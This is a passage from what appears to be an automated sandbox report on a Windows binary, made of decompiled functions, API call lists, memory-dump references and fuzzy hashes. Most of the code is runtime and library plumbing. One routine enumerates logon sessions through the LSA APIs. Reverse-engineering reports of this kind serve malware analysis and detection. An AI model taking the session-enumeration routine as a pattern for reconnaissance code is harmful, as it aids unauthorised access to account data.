							_t67 = GetStringTypeW(_a8, _t69, _t46, _a20);
						}
					}
					L14:
					E000EC994(_t69);
					goto L15;
				}
				_t20 = _t55 + 8; // 0x1522a8
				asm("sbb eax, eax");
				_t48 = _t40 & _t20;
				_t21 = _t55 + 8; // 0x1522a8
				_t63 = _t21;
				if((_t40 & _t20) > 0x400) {
					asm("sbb eax, eax");
					_t69 = E0011D9CA(_t63, _t48 & _t63);
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0xdddd;
					L9:
					_t69 =  &(_t69[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E000ED650();
				_t69 = _t71;
				if(_t69 == 0) {
					goto L14;
				}
				 *_t69 = 0xcccc;
				goto L9;
			}

0x00122664
0x0012266b
0x00122677
0x0012267c
0x00122681
0x00122686
0x00122686
0x00122689
0x0012268b
0x0012268b
0x00122690
0x001226a9
0x001226af
0x001226b4
0x00122753
0x00122757
0x0012275c
0x0012275c
0x00122778
0x00122778
0x001226ba
0x001226bd
0x001226c2
0x001226c6
0x00122712
0x00122714
0x00122716
0x0012271b
0x00122732
0x0012273a
0x0012274a
0x0012274a
0x0012273a
0x0012274c
0x0012274d
0x00000000
0x00122752
0x001226c8
0x001226cd
0x001226cf
0x001226d1
0x001226d1
0x001226d9
0x001226f6
0x00122700
0x00122705
0x00000000
0x00000000
0x00122707
0x0012270d
0x0012270d
0x00000000
0x0012270d
0x001226dd
0x001226e1
0x001226e6
0x001226ea
0x00000000
0x00000000
0x001226ec
0x00000000

APIs

MultiByteToWideChar.KERNEL32(001522A0,00000000,0000007F,001471E8,00000000,00000000,8B56FF8B,00119E14,?,001522A0,00000001,001471E8,0000007F,?,8B56FF8B,00000001), ref: 001226A9

Part of subcall function 0011D9CA: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00122732
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00122744
__freea.LIBCMT ref: 0012274D

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ByteCharMultiWide$AllocateFeatureHeapPresentProcessorStringType___raise_securityfailure__freea
String ID:
API String ID: 1650322892-0
Opcode ID: e542230efd35a816933b8b0bb8125655273f728673485738edb24a2fa983359e
Instruction ID: a8ae24798dbbf9f0fb32476d8cf8f2e8b49d81bdcba26d2132915a1da1ec9d4f
Opcode Fuzzy Hash: e542230efd35a816933b8b0bb8125655273f728673485738edb24a2fa983359e
Instruction Fuzzy Hash: C831D032A0021AABDF299F64EC85EAE7BA5EF50710F040128FC04D7191E735CD61CBA0

Uniqueness

Uniqueness Score: 0.04%

Function 00058960, Relevance: 6.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00058960() {
				long _v8;
				char _v16;
				char _v20;
				void* __ecx;
				void* __edi;
				void* __esi;
				signed int _t24;
				int _t27;
				long _t29;
				int _t30;
				void* _t33;
				void* _t38;
				void* _t40;
				intOrPtr _t44;
				void** _t45;
				void*** _t46;
				void*** _t48;
				signed int _t50;

				_push(0xffffffff);
				_push(0x12d390);
				_push( *[fs:0x0]);
				_push(_t40);
				_push(_t48);
				_push(_t46);
				_t24 =  *0x16f170; // 0xd529e887
				_push(_t24 ^ _t50);
				 *[fs:0x0] =  &_v16;
				_t38 = _t40;
				_t27 =  *(_t38 + 8);
				_t51 = _t27;
				if(_t27 == 0) {
					L13:
					 *[fs:0x0] = _v16;
					return _t27;
				}
				E00063B80(_t27,  &_v20, _t51, _t38);
				_t29 =  *(_t38 + 8);
				if(_t29 != 0) {
					 *(_t38 + 8) = 0;
					_t30 = ReleaseSemaphore( *(_t38 + 0x1c), _t29, 0);
					_t48 =  *(_t38 + 0x10);
					_t46 =  *(_t38 + 0x14);
					__eflags = _t48 - _t46;
					if(_t48 == _t46) {
						L5:
						E00067340(_t30,  *(_t38 + 0x10),  *(_t38 + 0x14));
						 *(_t38 + 0x14) =  *(_t38 + 0x10);
						_t33 =  *(_t38 + 0x1c);
						__eflags = _t33;
						if(_t33 != 0) {
							__eflags = _t33 - 0xffffffff;
							if(_t33 != 0xffffffff) {
								CloseHandle(_t33);
							}
						}
						 *(_t38 + 0x1c) = 0;
						_v8 = 1;
						goto L9;
					} else {
						goto L4;
					}
					do {
						L4:
						_t45 =  *_t48;
						_t45[3] = 1;
						_t30 = ReleaseSemaphore( *_t45, _t45[2], 0);
						_t48 =  &(_t48[1]);
						__eflags = _t48 - _t46;
					} while (_t48 != _t46);
					goto L5;
				} else {
					_v8 = _t29;
					L9:
					_t44 = _v20;
					_t27 = 0x80000000;
					asm("lock xadd [ecx], eax");
					if(0 == 0 && 0x80000000 > 0x80000000) {
						asm("lock bts dword [ecx], 0x1e");
						if(0x80000000 >= 0x80000000) {
							_t27 = SetEvent(E00058630(_t44, _t46, _t48));
						}
					}
					goto L13;
				}
			}

0x00058963
0x00058965
0x00058970
0x00058971
0x00058973
0x00058974
0x00058975
0x0005897c
0x00058980
0x00058986
0x00058988
0x0005898b
0x0005898d
0x00058a3f
0x00058a42
0x00058a50
0x00058a50
0x00058997
0x0005899c
0x000589a1
0x000589ab
0x000589b5
0x000589bb
0x000589be
0x000589c1
0x000589c3
0x000589e0
0x000589e6
0x000589ee
0x000589f1
0x000589f4
0x000589f6
0x000589f8
0x000589fb
0x000589fe
0x000589fe
0x000589fb
0x00058a04
0x00058a0b
0x00000000
0x00000000
0x00000000
0x00000000
0x000589c5
0x000589c5
0x000589c5
0x000589cf
0x000589d3
0x000589d9
0x000589dc
0x000589dc
0x00000000
0x000589a3
0x000589a3
0x00058a12
0x00058a12
0x00058a15
0x00058a1a
0x00058a23
0x00058a2c
0x00058a31
0x00058a39
0x00058a39
0x00058a31
0x00000000
0x00058a23

APIs

Part of subcall function 00063B80: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 00063BE5

ReleaseSemaphore.KERNEL32(?,00000000,00000000,?,D529E887,80000000,?,00000000,?,00000000,0012D390,000000FF,?,00062AEE), ref: 000589B5
ReleaseSemaphore.KERNEL32(?,?,00000000,?,00000000,?,00000000,0012D390,000000FF,?,00062AEE,?,?,D529E887,00000018,00000000), ref: 000589D3

Part of subcall function 00067340: CloseHandle.KERNEL32(?), ref: 00067377
Part of subcall function 00067340: CloseHandle.KERNEL32(?), ref: 00067385

CloseHandle.KERNEL32(?), ref: 000589FE

Part of subcall function 00058630: CreateEventA.KERNEL32(?,?,?,?,D529E887,?,?,?,?,?,?,?,0012D348,000000FF,?,00063BD7), ref: 00058667
Part of subcall function 00058630: CloseHandle.KERNEL32(00000000), ref: 00058682

SetEvent.KERNEL32(00000000,?,?,?,00000000,?,00000000,0012D390,000000FF,?,00062AEE,?,?,D529E887,00000018), ref: 00058A39

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseHandle$EventReleaseSemaphore$CreateObjectSingleWait
String ID:
API String ID: 2804137401-0
Opcode ID: 80f3a59323000bc1946c36a567ac64d99895e6b623971a4be9de833164b4bc4c
Instruction ID: 4c63c0b0c4e22d2a8315a3030ce5c3f07851d9571db7c2bb3140637e23da7c2e
Opcode Fuzzy Hash: 80f3a59323000bc1946c36a567ac64d99895e6b623971a4be9de833164b4bc4c
Instruction Fuzzy Hash: 90319E706002009FEB55CF68DC84B6BB7A8FF04325F248559EC19EB292DB36DC05CBA2

Uniqueness

Uniqueness Score: 8.94%

Function 000958D0, Relevance: 6.1, APIs: 4, Instructions: 75UNIQUE

Download Yara Rule

APIs

LsaEnumerateLogonSessions.SECUR32(00131509,?,D529E887,00000000), ref: 0009593C
LsaGetLogonSessionData.SECUR32(00000000,000000FF), ref: 00095965
LsaFreeReturnBuffer.SECUR32(00000000,?,-00000028), ref: 00095993
LsaFreeReturnBuffer.SECUR32(00000000), ref: 0009599E

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: BufferFreeLogonReturn$DataEnumerateSessionSessions
String ID:
API String ID: 2694884883-0
Opcode ID: f0bb672b991061cb297c925dc6945da96e212069074552035f5433a1c3ce638c
Instruction ID: 3e66e0bf785ae7c07491f9267a77817720e6f7f2bae9622f801a33da3444a94e
Opcode Fuzzy Hash: f0bb672b991061cb297c925dc6945da96e212069074552035f5433a1c3ce638c
Instruction Fuzzy Hash: C2217AB090060ADFDB11CF96CC84BAFBBF8FF08715F50452AE415A3650D779A9448BA5

Uniqueness

Uniqueness Score: 100.00%

Function 00073C30, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163
UNIQUE

Download Yara Rule

C-Code - Quality: 71%

			E00073C30(intOrPtr __ecx) {
				char _v8;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char* _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char* _v56;
				intOrPtr* _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v76;
				char _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				char* _v100;
				intOrPtr _v104;
				char _v108;
				void* __esi;
				signed int _t81;
				intOrPtr _t90;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t119;
				intOrPtr* _t132;
				char _t139;
				void* _t146;
				intOrPtr* _t148;
				signed int _t149;
				void* _t150;
				void* _t151;
				void* _t152;
				void* _t155;

				_push(0xffffffff);
				_push(0x12f662);
				_push( *[fs:0x0]);
				_t151 = _t150 - 0x5c;
				_push(_t146);
				_t81 =  *0x16f170; // 0xd529e887
				_push(_t81 ^ _t149);
				 *[fs:0x0] =  &_v16;
				_v20 = 0;
				asm("xorps xmm0, xmm0");
				asm("movaps xmm1, [0x153180]");
				asm("movq [ebp-0x24], xmm0");
				asm("movups [ebp-0x38], xmm1");
				_v40 = "bad allocation";
				_v64 = 0x151fe8;
				_v44 = 0x152008;
				_v8 = 0;
				_v76 = 0x15165c;
				_v68 = 0x13a594;
				asm("movd ecx, xmm1");
				_v8 = 1;
				_v20 = 2;
				_v108 = 0x13a58c;
				_v104 = __ecx;
				if(__ecx != 0) {
					 *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 0xc))();
				}
				asm("xorps xmm0, xmm0");
				_v100 = _v56;
				_v96 = _v52;
				_v92 = _v48;
				_v88 = 0x13a468;
				asm("movq [ebp-0x50], xmm0");
				E001041DE( &_v40,  &_v84);
				_v8 = 2;
				_t90 = _v76;
				_v108 = 0x1519b0;
				_v88 = 0x151684;
				_t27 = _t90 + 4; // 0x8
				 *((intOrPtr*)(_t149 +  *_t27 - 0x48)) = 0x151674;
				_t31 = _v76 + 4; // 0x8e268
				_t32 =  *_t31 - 8; // 0x8e260
				 *((intOrPtr*)(_t149 +  *_t31 - 0x4c)) = _t32;
				E00053750( &_v108,  &_v64);
				_t152 = _t151 + 0x10;
				_t97 =  *0x17a408; // 0x1
				_v100 = "class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void)";
				_v92 = 0x81;
				_t157 = _t97 & 0x00000001;
				if((_t97 & 0x00000001) == 0) {
					 *0x17a408 = _t97 | 0x00000001;
					_push(0x2c);
					_v8 = 4;
					_t148 = E000ECF08(_t146, _t157);
					_v24 = _t148;
					 *((intOrPtr*)(_t148 + 0x20)) = 0x15165c;
					 *((intOrPtr*)(_t148 + 0x28)) = 0x13a594;
					_v8 = 6;
					_v20 = 6;
					E00076090(_t148,  &_v108);
					 *_t148 = 0x1519b0;
					 *((intOrPtr*)(_t148 + 0x14)) = 0x151684;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t148 + 0x20)) + 4)) + _t148 + 0x20)) = 0x151674;
					_v8 = 5;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t148 + 0x20)) + 4)) + _t148 + 0x1c)) = 0;
					_v28 = 0;
					_v32 =  *((intOrPtr*)( *((intOrPtr*)(_t148 + 0x20)) + 4)) + 0x20 + _t148;
					_v8 = 7;
					_t119 = E00084420( &_v24, _t148);
					_v28 =  *_t119;
					 *_t119 = _v28;
					E00053860( &_v24);
					_push(_t148);
					_push(_t148);
					_push( &_v32);
					E000538F0( &_v32);
					_t139 = _v28;
					_t155 = _t152 + 0x10;
					 *0x17a3d4 = _v32;
					 *0x17a3d8 = _t139;
					_t158 = _t139;
					if(_t139 != 0) {
						asm("lock xadd [ecx], eax");
					}
					E00053860( &_v28);
					E000ED2BB(_t158, 0x138850);
					_t152 = _t155 + 4;
				}
				_t98 =  *0x17a3d4; // 0x4ef7e8
				 *0x17a688 = _t98;
				_t99 =  *0x17a3d8; // 0x4e79d8
				 *0x17a68c = _t99;
				_t159 = _t99;
				if(_t99 != 0) {
					asm("lock xadd [eax], edi");
				}
				E00075CD0( &_v108, _t159);
				_v64 = 0x151fe8;
				_v44 = 0x13a468;
				E00104241( &_v40);
				_v64 = 0x13a58c;
				_v8 = 8;
				_t132 = _v60;
				if(_t132 != 0) {
					 *((intOrPtr*)( *_t132 + 0x10))();
				}
				 *[fs:0x0] = _v16;
				return 0x17a688;
			}

0x00073c33
0x00073c35
0x00073c40
0x00073c41
0x00073c44
0x00073c46
0x00073c4d
0x00073c51
0x00073c57
0x00073c5e
0x00073c61
0x00073c68
0x00073c6d
0x00073c71
0x00073c78
0x00073c7f
0x00073c86
0x00073c8d
0x00073c94
0x00073c9b
0x00073c9f
0x00073ca3
0x00073caa
0x00073cb1
0x00073cb6
0x00073cba
0x00073cba
0x00073cc0
0x00073cc3
0x00073cc9
0x00073ccf
0x00073cd9
0x00073ce1
0x00073ce6
0x00073ceb
0x00073cf2
0x00073cf5
0x00073cfc
0x00073d03
0x00073d06
0x00073d11
0x00073d14
0x00073d17
0x00073d23
0x00073d28
0x00073d2b
0x00073d35
0x00073d3c
0x00073d43
0x00073d45
0x00073d4d
0x00073d52
0x00073d54
0x00073d5d
0x00073d62
0x00073d65
0x00073d6c
0x00073d76
0x00073d7d
0x00073d84
0x00073d8c
0x00073d92
0x00073d9c
0x00073daa
0x00073db1
0x00073dc2
0x00073dcb
0x00073dd2
0x00073dd6
0x00073de0
0x00073de6
0x00073de8
0x00073ded
0x00073df1
0x00073df2
0x00073df3
0x00073df8
0x00073dfb
0x00073e01
0x00073e06
0x00073e0c
0x00073e0e
0x00073e15
0x00073e15
0x00073e1c
0x00073e26
0x00073e2b
0x00073e2b
0x00073e2e
0x00073e33
0x00073e38
0x00073e3d
0x00073e42
0x00073e44
0x00073e49
0x00073e49
0x00073e50
0x00073e58
0x00073e60
0x00073e67
0x00073e6f
0x00073e76
0x00073e7d
0x00073e82
0x00073e86
0x00073e86
0x00073e91
0x00073e9e

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00073CE6
___std_exception_destroy.LIBVCRUNTIME ref: 00073E67

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00076090: ___std_exception_copy.LIBVCRUNTIME ref: 000760DB

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Part of subcall function 00075CD0: ___std_exception_destroy.LIBVCRUNTIME ref: 00075D2E

Strings

bad allocation, xrefs: 00073C71, 00073CE0, 00073E5F

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ___std_exception_copy___std_exception_destroy$Exception@8Throw__onexit
String ID: bad allocation
API String ID: 2640620554-2104205924
Opcode ID: 2eee1b9cf388fb243a39fd67e6bb0bb208c3ccb8e52dc43a3d12ee21b52f88bc
Instruction ID: a9cb620277c25c76366ecad688c9368d3433c9661fbd18ba3b2abc70f883bade
Opcode Fuzzy Hash: 2eee1b9cf388fb243a39fd67e6bb0bb208c3ccb8e52dc43a3d12ee21b52f88bc
Instruction Fuzzy Hash: 707124B4D00348DFDB00CF94D989A9EBBF4FF18305F144159E809AB351D7B5AA88CB91

Uniqueness

Uniqueness Score: 100.00%

Function 00073EB0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163
UNIQUE

Download Yara Rule

C-Code - Quality: 71%

			E00073EB0(intOrPtr __ecx) {
				char _v8;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char* _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char* _v56;
				intOrPtr* _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v76;
				char _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				char* _v100;
				intOrPtr _v104;
				char _v108;
				void* __esi;
				signed int _t81;
				intOrPtr _t90;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t119;
				intOrPtr* _t132;
				char _t139;
				void* _t146;
				intOrPtr* _t148;
				signed int _t149;
				void* _t150;
				void* _t151;
				void* _t152;
				void* _t155;

				_push(0xffffffff);
				_push(0x12f6f2);
				_push( *[fs:0x0]);
				_t151 = _t150 - 0x5c;
				_push(_t146);
				_t81 =  *0x16f170; // 0xd529e887
				_push(_t81 ^ _t149);
				 *[fs:0x0] =  &_v16;
				_v20 = 0;
				asm("xorps xmm0, xmm0");
				asm("movaps xmm1, [0x153180]");
				asm("movq [ebp-0x24], xmm0");
				asm("movups [ebp-0x38], xmm1");
				_v40 = "bad exception";
				_v64 = 0x1516dc;
				_v44 = 0x151d40;
				_v8 = 0;
				_v76 = 0x15165c;
				_v68 = 0x13a594;
				asm("movd ecx, xmm1");
				_v8 = 1;
				_v20 = 2;
				_v108 = 0x13a58c;
				_v104 = __ecx;
				if(__ecx != 0) {
					 *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 0xc))();
				}
				asm("xorps xmm0, xmm0");
				_v100 = _v56;
				_v96 = _v52;
				_v92 = _v48;
				_v88 = 0x13a468;
				asm("movq [ebp-0x50], xmm0");
				E001041DE( &_v40,  &_v84);
				_v8 = 2;
				_t90 = _v76;
				_v108 = 0x1522cc;
				_v88 = 0x151bf4;
				_t27 = _t90 + 4; // 0x8
				 *((intOrPtr*)(_t149 +  *_t27 - 0x48)) = 0x1518d8;
				_t31 = _v76 + 4; // 0x8e1a7
				_t32 =  *_t31 - 8; // 0x8e19f
				 *((intOrPtr*)(_t149 +  *_t31 - 0x4c)) = _t32;
				E00053750( &_v108,  &_v64);
				_t152 = _t151 + 0x10;
				_t97 =  *0x17a3d0; // 0x1
				_v100 = "class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void)";
				_v92 = 0x81;
				_t157 = _t97 & 0x00000001;
				if((_t97 & 0x00000001) == 0) {
					 *0x17a3d0 = _t97 | 0x00000001;
					_push(0x2c);
					_v8 = 4;
					_t148 = E000ECF08(_t146, _t157);
					_v24 = _t148;
					 *((intOrPtr*)(_t148 + 0x20)) = 0x15165c;
					 *((intOrPtr*)(_t148 + 0x28)) = 0x13a594;
					_v8 = 6;
					_v20 = 6;
					E00076140(_t148,  &_v108);
					 *_t148 = 0x1522cc;
					 *((intOrPtr*)(_t148 + 0x14)) = 0x151bf4;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t148 + 0x20)) + 4)) + _t148 + 0x20)) = 0x1518d8;
					_v8 = 5;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t148 + 0x20)) + 4)) + _t148 + 0x1c)) = 0;
					_v28 = 0;
					_v32 =  *((intOrPtr*)( *((intOrPtr*)(_t148 + 0x20)) + 4)) + 0x20 + _t148;
					_v8 = 7;
					_t119 = E000844B0( &_v24, _t148);
					_v28 =  *_t119;
					 *_t119 = _v28;
					E00053860( &_v24);
					_push(_t148);
					_push(_t148);
					_push( &_v32);
					E000538F0( &_v32);
					_t139 = _v28;
					_t155 = _t152 + 0x10;
					 *0x17a394 = _v32;
					 *0x17a398 = _t139;
					_t158 = _t139;
					if(_t139 != 0) {
						asm("lock xadd [ecx], eax");
					}
					E00053860( &_v28);
					E000ED2BB(_t158, 0x138840);
					_t152 = _t155 + 4;
				}
				_t98 =  *0x17a394; // 0x4eeaf0
				 *0x17a680 = _t98;
				_t99 =  *0x17a398; // 0x4f0bc8
				 *0x17a684 = _t99;
				_t159 = _t99;
				if(_t99 != 0) {
					asm("lock xadd [eax], edi");
				}
				E00075E20( &_v108, _t159);
				_v64 = 0x1516dc;
				_v44 = 0x13a468;
				E00104241( &_v40);
				_v64 = 0x13a58c;
				_v8 = 8;
				_t132 = _v60;
				if(_t132 != 0) {
					 *((intOrPtr*)( *_t132 + 0x10))();
				}
				 *[fs:0x0] = _v16;
				return 0x17a680;
			}

0x00073eb3
0x00073eb5
0x00073ec0
0x00073ec1
0x00073ec4
0x00073ec6
0x00073ecd
0x00073ed1
0x00073ed7
0x00073ede
0x00073ee1
0x00073ee8
0x00073eed
0x00073ef1
0x00073ef8
0x00073eff
0x00073f06
0x00073f0d
0x00073f14
0x00073f1b
0x00073f1f
0x00073f23
0x00073f2a
0x00073f31
0x00073f36
0x00073f3a
0x00073f3a
0x00073f40
0x00073f43
0x00073f49
0x00073f4f
0x00073f59
0x00073f61
0x00073f66
0x00073f6b
0x00073f72
0x00073f75
0x00073f7c
0x00073f83
0x00073f86
0x00073f91
0x00073f94
0x00073f97
0x00073fa3
0x00073fa8
0x00073fab
0x00073fb5
0x00073fbc
0x00073fc3
0x00073fc5
0x00073fcd
0x00073fd2
0x00073fd4
0x00073fdd
0x00073fe2
0x00073fe5
0x00073fec
0x00073ff6
0x00073ffd
0x00074004
0x0007400c
0x00074012
0x0007401c
0x0007402a
0x00074031
0x00074042
0x0007404b
0x00074052
0x00074056
0x00074060
0x00074066
0x00074068
0x0007406d
0x00074071
0x00074072
0x00074073
0x00074078
0x0007407b
0x00074081
0x00074086
0x0007408c
0x0007408e
0x00074095
0x00074095
0x0007409c
0x000740a6
0x000740ab
0x000740ab
0x000740ae
0x000740b3
0x000740b8
0x000740bd
0x000740c2
0x000740c4
0x000740c9
0x000740c9
0x000740d0
0x000740d8
0x000740e0
0x000740e7
0x000740ef
0x000740f6
0x000740fd
0x00074102
0x00074106
0x00074106
0x00074111
0x0007411e

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00073F66
___std_exception_destroy.LIBVCRUNTIME ref: 000740E7

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00076140: ___std_exception_copy.LIBVCRUNTIME ref: 0007618B

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Part of subcall function 00075E20: ___std_exception_destroy.LIBVCRUNTIME ref: 00075E7E

Strings

bad exception, xrefs: 00073EF1, 00073F60, 000740DF

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ___std_exception_copy___std_exception_destroy$Exception@8Throw__onexit
String ID: bad exception
API String ID: 2640620554-3837556057
Opcode ID: 264a2a43034dbdef7a8ee8883c640e07a5e856375e90842c118f708bbcc0c323
Instruction ID: 06c5fd65f11d10a46bc659bdae5f2b126e27c4a3029594b8a9db9b5455b8fee0
Opcode Fuzzy Hash: 264a2a43034dbdef7a8ee8883c640e07a5e856375e90842c118f708bbcc0c323
Instruction Fuzzy Hash: B07124B4D00348DFDB00DF98D985A9EBBF4BF09308F544159E819AB351E7B4AA88CB91

Uniqueness

Uniqueness Score: 100.00%

Function 000B1090, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 151
UNIQUE

Download Yara Rule

C-Code - Quality: 57%

			E000B1090(void* __ebx, char __ecx, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, char _a12) {
				char _v8;
				char _v16;
				signed int _v20;
				intOrPtr* _v28;
				char _v32;
				char _v44;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v112;
				char _v120;
				void* __ebp;
				signed int _t50;
				signed int _t51;
				intOrPtr* _t54;
				void* _t55;
				signed int _t62;
				intOrPtr _t65;
				void* _t68;
				intOrPtr _t70;
				void* _t75;
				char _t76;
				void* _t82;
				void* _t87;
				intOrPtr* _t90;
				intOrPtr _t91;
				intOrPtr _t99;
				intOrPtr* _t102;
				char _t110;
				intOrPtr _t116;
				intOrPtr* _t117;
				signed int _t119;
				void* _t121;
				signed int _t123;

				_t87 = __ebx;
				_push(0xffffffff);
				_push(0x134c63);
				_push( *[fs:0x0]);
				_t50 =  *0x16f170; // 0xd529e887
				_t51 = _t50 ^ _t119;
				_v20 = _t51;
				_push(_t51);
				 *[fs:0x0] =  &_v16;
				_t110 = __ecx;
				_v88 = __ecx;
				_t116 = _a4;
				_v92 = __ecx;
				E000B0D60(_a8);
				_t54 = __ecx + 0x48;
				_v8 = 0;
				_v88 = _t54;
				 *_t54 = 0x13c750;
				 *((intOrPtr*)(_t54 + 8)) = 0xffffffff;
				 *((intOrPtr*)(_t54 + 0xc)) = 0;
				 *((intOrPtr*)(_t54 + 0x10)) = 0;
				_push(0);
				_push(0x171538);
				_push(0x1764fc);
				_push(0);
				_push(_t116);
				_v8 = 2;
				 *((intOrPtr*)(__ecx)) = 0x13c860;
				 *((intOrPtr*)(__ecx + 4)) = 0x13c958;
				 *_t54 = 0x13c968;
				 *((intOrPtr*)(__ecx + 0x60)) = _t116;
				 *((intOrPtr*)(__ecx + 0x64)) = 5;
				_t55 = E0010594C();
				_t123 = _t121 - 0x4c + 0x14;
				if(_t55 != 0) {
					E00064B00( &_v44, "StreamTransformationFilter: please use AuthenticatedEncryptionFilter and AuthenticatedDecryptionFilter for AuthenticatedSymmetricCipher");
					_v8 = 3;
					_t90 =  &_v84;
					E00059080( &_v44);
					E001047B7( &_v84, 0x16c9bc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t119);
					_push(0xffffffff);
					_push(0x131b30);
					_push( *[fs:0x0]);
					_push(_t110);
					_t62 =  *0x16f170; // 0xd529e887
					_push(_t62 ^ _t123);
					 *[fs:0x0] =  &_v120;
					 *_t90 = 0x13c750;
					_t65 =  *((intOrPtr*)(_t90 + 8));
					_t91 =  *((intOrPtr*)(_t90 + 0xc));
					__eflags = _t65 - _t91;
					_t92 =  <  ? _t65 : _t91;
					_v112 = 0;
					__eflags = 0;
					memset( *(_t90 + 0x10), 0, ( <  ? _t65 : _t91) << 0);
					_t68 = L000B3E40( *(_t90 + 0x10));
					 *[fs:0x0] = _v120;
					return _t68;
				} else {
					_t70 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t110 + 0x60)))) + 0x10))();
					_t117 = _t110 + 0x6c;
					 *((intOrPtr*)(_t110 + 0x68)) = _t70;
					 *_t117 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t110 + 0x60)))) + 0x14))();
					_t75 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t110 + 0x60)))) + 0x2c))))();
					_t99 =  *((intOrPtr*)(_t110 + 0x68));
					if(_t75 == 0 || _t99 <= 1) {
						_t76 = 0;
						__eflags = 0;
					} else {
						_t76 = 1;
					}
					 *((char*)(_t110 + 0x74)) = _t76;
					_v88 = _t99 + _t99;
					_t78 =  <  ? _t117 :  &_v88;
